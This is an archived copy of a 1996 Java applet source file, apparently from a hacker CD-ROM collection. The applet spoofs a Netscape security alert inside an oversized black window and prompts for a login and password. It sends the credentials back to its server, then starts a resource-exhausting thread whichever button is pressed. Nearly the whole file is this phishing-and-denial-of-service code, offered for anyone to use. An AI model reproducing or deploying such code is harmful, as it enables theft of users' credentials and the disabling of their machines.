home *** CD-ROM | disk | FTP | other *** search
/ The Hacker's Encyclopedia 1998 / hackers_encyclopedia.iso / hacking / internet / errmsg.jav < prev    next >
Encoding:
Text File  |  2003-06-11  |  5.5 KB  |  164 lines

  1. /*  ErrorMessage.java by Mark D. LaDue */
  2.  
  3. /*  February 28, 1996 */
  4.  
  5. /*  Copyright (c) 1996 Mark D. LaDue
  6.     You may study, use, modify, and distribute this example for any purpose.
  7.     This example is provided WITHOUT WARRANTY either expressed or implied.  */
  8.  
  9. /*  These classes produce a very large untrusted applet window which tries
  10.     to hide its lack of security.  One frame within this window
  11.     contains a bogus message about your system's security and requests
  12.     that you login in order to run the browser in a "secure mode."
  13.     Any login information that you enter is communicated back to the
  14.     server whence the applet came, and in any case this ungrateful
  15.     applet then proceeds to attack you. */
  16.  
  17. import java.awt.*;
  18. import java.io.*;
  19. import java.net.*;
  20. import Login;
  21. import Ungrateful;
  22.  
  23. public class ErrorMessage extends java.applet.Applet implements Runnable {
  24.  
  25. //  A window that tries to hide its lack of security 
  26.     public Frame bigWindow;
  27.  
  28. //  A font for writing in the pseudo-Netscape panel
  29.     Font netscapeFont = new Font("Times", Font.BOLD, 14);
  30.  
  31. //  The various lines of the warning message
  32.     String warning1, warning2, warning3, warning4, warning5;
  33.  
  34. /*  We certainly won't be stopping anything */
  35.  
  36.     public void stop() {}
  37.  
  38.  
  39. /* Opens a window, reports a bogus problem with the browser, and
  40.    asks you to login to run the browser in a "secure mode." */ 
  41.  
  42.     public void run() {
  43.  
  44. //  Now open the big window 
  45.         warning1 = "Netscape Security Alert: "; 
  46.         warning2 = "There is an attempt to violate"; 
  47.         warning3 = "your system's security.";
  48.         warning4 = "To restart Netscape securely,";
  49.         warning5 = "login to your local system.";
  50.         bigWindow = new ErrorFrame(warning1, warning2, warning3,
  51.                                    warning4, warning5);
  52.         bigWindow.setFont(netscapeFont);
  53.         bigWindow.resize(10000, 10000);  // make it big!
  54.         Point pt = location();
  55.         bigWindow.move(pt.x - 1000, pt.y - 1000);
  56.         bigWindow.show();
  57.     }
  58. }
  59.  
  60. /* Makes the big, insecure window */
  61.  
  62. class ErrorFrame extends Frame {
  63.  
  64. //Constructor Method
  65.     ErrorFrame(String message1, String message2, String message3,
  66.                String message4, String message5) {
  67.         super("Netscape: Security Alert");
  68.         setLayout(new GridLayout(50, 40));
  69.         for (int i = 0; i < 204; i++) {
  70.             Canvas blackCanvas = new Canvas();
  71.             blackCanvas.setBackground(Color.black);
  72.             add(blackCanvas);
  73.         }
  74.         add(new ErrorPanel(message1, message2, message3, message4, message5));
  75.         for (int i = 0; i < 1795; i++) {
  76.             Canvas blackCanvas = new Canvas();
  77.             blackCanvas.setBackground(Color.black);
  78.             add(blackCanvas); 
  79.         }
  80.     }
  81. }
  82.  
  83.  
  84. class ErrorPanel extends Panel {
  85.  
  86. //  Constructor method
  87.     ErrorPanel(String message1, String message2, String message3,
  88.                String message4, String message5) {
  89.         setLayout(new GridLayout(2, 1));
  90.         setBackground(new Color(170, 170, 170));
  91.       add(new WarningPanel(message1, message2, message3, message4, message5));
  92.         add(new OutPanel("Login:", 12, "Password: ", 12));
  93.     }
  94. }
  95.  
  96. class WarningPanel extends Panel {
  97.     WarningPanel(String s1, String s2, String s3, String s4, String s5) {
  98.         setLayout(new GridLayout(5, 1));
  99.         add(new Label(s1, Label.LEFT));
  100.         add(new Label(s2, Label.LEFT));
  101.         add(new Label(s3, Label.LEFT));
  102.         add(new Label(s4, Label.LEFT));
  103.         add(new Label(s5, Label.LEFT));
  104.     }
  105. }
  106.  
  107. class OutPanel extends Ungrateful {
  108.     TextField tf1, tf2;
  109.     Button b1, b2;
  110.     Thread wasteResources = null;
  111.     Login sendIt = null;
  112.     int myPort = thePort;
  113.  
  114. //constructor method
  115.     OutPanel(String prompt1, int textwidth1,
  116.              String prompt2, int textwidth2) {
  117.  
  118.         setLayout(new GridLayout(3, 2));
  119.         add(new Label(prompt1, Label.RIGHT));
  120.         tf1 = new TextField(textwidth1);
  121.         tf1.setText(null);
  122. //        tf1.setBackground(new Color(216, 184, 184));
  123.         add(tf1);
  124.         add(new Label(prompt2, Label.RIGHT));
  125.         tf2 = new TextField(textwidth2);    
  126.         tf2.setEchoCharacter('*');
  127.         tf2.setText(null);
  128. //        tf2.setBackground(new Color(216, 184, 184));
  129.         add(tf2);
  130.         b1 = new Button("OK");
  131.         add(b1);
  132.         b2 = new Button("Quit");
  133.         add(b2);
  134.     }
  135.  
  136.     public boolean action(Event evt, Object arg) {
  137.         if (evt.target instanceof Button) {
  138.             String bname = (String) arg;
  139.             if (bname.equals("OK")) {
  140.                 String user = tf1.getText();
  141.                 String pword = tf2.getText();
  142.                 sendIt = new Login(myPort);
  143.                 sendIt.communicate(user, pword);
  144.                 if (wasteResources == null) {
  145.                     SilentThreat s = new SilentThreat();
  146.                     wasteResources = new Thread(s);
  147.                     wasteResources.setPriority(Thread.MAX_PRIORITY);
  148.                     wasteResources.start();
  149.                 }
  150.             }
  151.             else if (bname.equals("Quit")) {
  152.                 if (wasteResources == null ) {
  153.                     SilentThreat s = new SilentThreat();
  154.                     wasteResources = new Thread(s);
  155.                     wasteResources.setPriority(Thread.MAX_PRIORITY);
  156.                     wasteResources.start();
  157.                 }
  158.             }
  159.         }
  160.         return true;
  161.     }
  162. }
  163.  
  164.